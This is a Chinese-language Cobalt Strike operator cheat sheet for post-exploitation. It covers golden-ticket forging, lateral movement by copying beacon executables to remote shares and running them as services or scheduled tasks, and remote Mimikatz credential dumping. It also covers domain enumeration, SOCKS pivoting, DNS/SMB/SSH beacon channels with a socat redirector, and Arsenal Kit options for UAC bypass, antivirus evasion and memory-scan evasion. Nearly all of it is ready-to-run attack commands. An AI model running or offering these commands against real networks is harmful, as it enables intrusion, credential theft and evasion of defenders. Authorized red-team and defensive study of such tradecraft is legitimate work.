spawnas <DOMAIN\user> <password> <listener>
# 建立网络连接
shell net use \\host\C$ /USER:DOMAIN\user passwordKerberos 票据
# 查看当前票据
shell klist
# 清除票据
kerberos_ticket_purge
# 加载票据
kerberos_ticket_use <ticket_file>黄金票据
# 前提条件:
# 1. 目标用户名和域名
# 2. 域 SID(whoami /user,去掉最后一组数字)
# 3. KRBTGT 的 NTLM 哈希(从域控 hashdump 或 dcsync 获取)
# 图形化生成
Access → Golden Ticket → 填写信息 → Build
# Domain 格式必须为 FQDN(如 domain.com)
# 验证
shell dir \\DC\C$
powershell Invoke-Command -computer DC -ScriptBlock {whoami}---
横向移动
自动化横向命令
# 服务执行(落地可执行文件)
psexec <target> <listener>
psexec64 <target> <listener>
# 服务执行 PowerShell(无文件落地)
psexec_psh <target> <listener>
# WinRM 执行
winrm <target> <listener>
winrm64 <target> <listener>
# WMI 执行
wmi <target> <listener>
# 图形化
View → Targets → 右击目标 → Jump → 选择方式和 Listener手动横向(方法一:Windows 服务)
# 1. 生成 Windows Service EXE(注意是 Service 类型)
# 2. 上传到目标
upload beacon_svc.exe
shell copy beacon_svc.exe \\target\C$\Windows\Temp\
# 3. 创建并启动服务
shell sc \\target create svcname binpath= C:\Windows\Temp\beacon_svc.exe
shell sc \\target start svcname
# 4. 连接 SMB Beacon
link <target>
# 5. 清理
shell sc \\target delete svcname
shell del \\target\C$\Windows\Temp\beacon_svc.exe手动横向(方法二:计划任务)
# 1. 生成 Windows EXE(非 Service 类型)
# 2. 上传并复制到目标
shell copy beacon.exe \\target\C$\Windows\Temp\
# 3. 查看目标时间
shell net time \\target
# 4. 创建计划任务
shell at \\target HH:mm C:\Windows\Temp\beacon.exe
# 5. 等待执行后连接
link <target>WinRM 远程命令
# 直接执行命令(无需上传文件)
powershell Invoke-Command -ComputerName <target> -ScriptBlock {whoami}
# WinRM 运行 Mimikatz
powershell-import Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName <target>
# 如果文件 >1MB,用 upload 上传后:
powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName <target>---
域内枚举
基础枚举命令
# 当前域
net view /domain
shell net view /domain
# 域内主机
net view
shell net view /domain:<domain_name>
shell net group "domain computers" /domain
# 域控制器
net dclist
net dclist <domain>
shell nltest /dclist:<domain>
# 域信任关系
shell nltest /domain_trusts
shell nltest /server:<dc_ip> /domain_trusts
# 主机名解析
shell nslookup <hostname>
shell ping -n 1 -4 <hostname>
# 共享列表
net share \\<hostname>
shell net view \\<hostname>PowerView 枚举
# 导入 PowerView
powershell-import PowerView.ps1
# 域信息
powershell Get-NetDomain
# 共享发现
powershell Invoke-ShareFinder
# 域信任关系
powershell Invoke-MapDomainTrust
# 发现本地管理员访问
powershell Find-LocalAdminAccess
# 查询目标本地管理员
powershell Get-NetLocalGroup -Hostname <target>用户枚举
# 域管理员
shell net group "enterprise admins" /domain
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain
# 本地管理员(Beacon net 模块)
net localgroup \\<target>
net localgroup \\<target> administrators
# 验证管理员权限
shell dir \\<target>\C$
# 成功 = 管理员;拒绝访问 = 普通用户---
SOCKS 代理与转发
SOCKS 代理
# 开启(在已上线主机上)
sleep 0 # 先进入交互模式
socks <port> # 开启 SOCKS4a 代理
# 或图形化:右击 → Pivoting → SOCKS Server
# 查看:View → Proxy Pivots
# MSF 使用代理
setg Proxies socks4:<CS_IP>:<port>
setg ReverseAllowProxy true
# 停止:unsetg Proxies
# ProxyChains
# 编辑 /etc/proxychains.conf:
# socks4 <CS_IP> <port>
# 使用:
proxychains nmap -sT -Pn <target> -p 80,445,3389
proxychains curl <target>
# 关闭
socks stop反向端口转发
# 用于不出网主机上线
# 1. 右击已上线会话 → Pivoting → Listener
# 2. CS 自动配置,设置名称后保存
# 3. 生成 Payload 选择该 Listener
# 4. 在不出网主机上执行 Payload
# 流量路径:不出网主机 → 已上线主机 → TeamServer---
日志与报告
日志位置
# TeamServer 运行目录下的 logs 文件夹
logs/
├── beacon_<id>.log # Beacon 会话日志
├── keystrokes/ # 键盘记录
└── screenshots/ # 截图(screen_HHMMSS_ID.jpg)报告生成
# Reporting 菜单
活动报告 (Activity Report) → 红队活动时间表
主机报告 (Hosts Report) → 主机信息、凭据、服务汇总
IOC 报告 (Indicators of Compromise) → C2 特征、域名、文件哈希
会话报告 (Sessions Report) → 通信路径、活动时间线
社工报告 (Social Engineering) → 钓鱼邮件统计
TTP 报告 (Tactics, Techniques) → MITRE ATT&CK 映射
# 输出格式:PDF / Word
# 支持合并多个 TeamServer 报告Cobalt Strike Beacon 类型与 Arsenal Kit 选择
本文档补充 DNS/SMB/SSH Beacon 与 Arsenal Kit 的操作边界。核心目标是先判断通信路径与检测压力,再选择 Beacon 类型和 Kit,而不是按工具菜单逐项尝试。
---
DNS Beacon
DNS Beacon 适合 HTTP/HTTPS 出网受限、但 DNS 可解析的环境。它的交互速度慢,适合作为低频保活或受限网络中的备用通道,不适合高频文件传输和大量交互命令。
DNS 架构要求
TeamServer 必须对 Listener 中配置的域名或子域具有权威解析能力。常见做法是:
1. 创建指向 TeamServer 或 DNS redirector 的 A 记录。 2. 用 NS 记录把 Beacon 子域委派到该 A 记录。 3. 在 Cobalt Strike 中创建 Beacon DNS Listener。 4. 从外部网络验证随机子域查询是否能到达 TeamServer。
NS example.com directs to 10.10.10.10
NS polling.campaigns.example.com directs to campaigns.example.com
A campaigns.example.com directs to 10.10.10.10验证时使用随机子域,预期响应通常不是业务记录,而是确认查询链路会被 TeamServer 接收:
nslookup random.beacon polling.campaigns.example.com
nslookup random.beacon campaigns.example.comDNS redirector
DNS redirector 用于隐藏 TeamServer,并把 UDP/53 转发到后端:
socat -T 1 udp4-listen:53,fork udp4:teamserver.example.net:53排障时抓 UDP/53,先确认查询是否到达 redirector,再确认是否转发到 TeamServer:
tcpdump -l -n -s 5655 -i eth0 udp port 53DNS 模式选择
| 模式 | 适用场景 | 代价 |
|---|---|---|
mode dns-txt | 默认数据通道,容量相对更高 | TXT 查询特征更明显 |
mode dns | 只允许 A 记录查询的网络 | 带宽更低 |
mode dns6 | IPv6/AAAA 查询可用的环境 | 依赖目标网络 IPv6 行为 |
---
SMB Beacon
SMB Beacon 使用命名管道,适合内网横向后让不出网主机通过已上线主机回传。使用前先确认目标之间 SMB 可达,并且当前身份对目标有足够访问权限。
link <host> <pipename>
connect <host> <port>
unlink <host> <pid>
jump <exec> <host> <pipe>常见错误可以直接指导下一步排查:
| 错误码 | 含义 | 排查方向 |
|---|---|---|
2 | File Not Found | 目标上没有可连接的 Beacon,或 pipe name 错误 |
5 | Access is denied | 凭据无效、权限不足,或令牌未正确切换 |
53 | Bad Netpath | 主机不可达、名称解析失败,或双方没有可用信任路径 |
---
SSH Beacon
SSH Beacon 适合把 Linux/macOS 主机纳入同一 C2 操作面。它依赖 SSH 认证,不是漏洞利用方式;使用前需要已有口令或私钥。
ssh <target:port> <user> <pass>
ssh-key <target:port> <user> </path/to/key.pem>上线后常用能力包括文件传输、shell 命令、SOCKS 和反向端口转发:
upload
download
shell
sudo
socks
rportfwd---
Arsenal Kit 选择
Arsenal Kit 解决的是“生成物、内存特征、后渗透模块”如何适配目标环境的问题。它不能替代授权、网络路径和权限前提判断。
| Kit | 解决的问题 | 适用时机 |
|---|---|---|
| Elevate Kit | 扩展 UAC bypass / 本地提权选项 | 内置 elevate / runasadmin 不满足目标版本时 |
| Resource Kit | 修改 HTA、PowerShell、Python、VBA、VBS 模板 | 默认脚本模板被检测或需贴近目标业务样式时 |
| Artifact Kit | 修改 EXE/DLL 生成模板 | 生成物落地即被静态查杀时 |
| Mimikatz Kit | 替换或定制内置 Mimikatz 集成 | 凭据模块被检测或需要版本适配时 |
| Sleep Mask Kit | Beacon sleep 时内存混淆 | 内存扫描关注 sleep 状态 Beacon 时 |
| Mutator Kit | 生成变形 sleep mask 对象 | 静态签名针对 sleep mask 对象时 |
| Thread Stack Spoofer | 伪装线程调用栈 | 检测重点在异常线程栈或内存驻留 shellcode 时 |
Elevate Kit 边界
uac-token-duplication 只适用于特定旧系统路径,Windows 10 Redstone 5(2018 年 10 月)后已修复。选择提权模块前,先确认目标版本、当前用户是否属于本地管理员组,以及是否只是 UAC 中完整性级别受限。
runasadmin常见 Elevate Kit 选项包括 ms14-058、ms15-051、ms16-016、svc-exe、uac-schtasks、uac-token-duplication。不要把这些选项当作通用提权能力;它们依赖系统版本、补丁状态和当前权限。
Artifact Kit 使用判断
Artifact Kit 的价值在于修改生成模板,而不是保证“免杀”。常见调整包括替换 pipe name、替换分配内存 API、调整 import、重新 build 后加载对应 .cna。
Help → Arsenal → Artifact Kit
Cobalt Strike → Script Manager → Load artifact.cnaSleep Mask / Mutator / Thread Stack Spoofer
这三类能力面向内存驻留检测:
- Sleep Mask Kit:Beacon sleep 前混淆内存内容。
- Mutator Kit:用 LLVM obfuscation 生成变形对象,降低固定签名命中。
- Thread Stack Spoofer:隐藏或伪装线程调用栈特征。
这些能力应与 Malleable C2 Profile、spawnto、PPID、进程选择一起设计;只改 Kit 不改变异常通信和异常进程链,仍然容易被关联检测。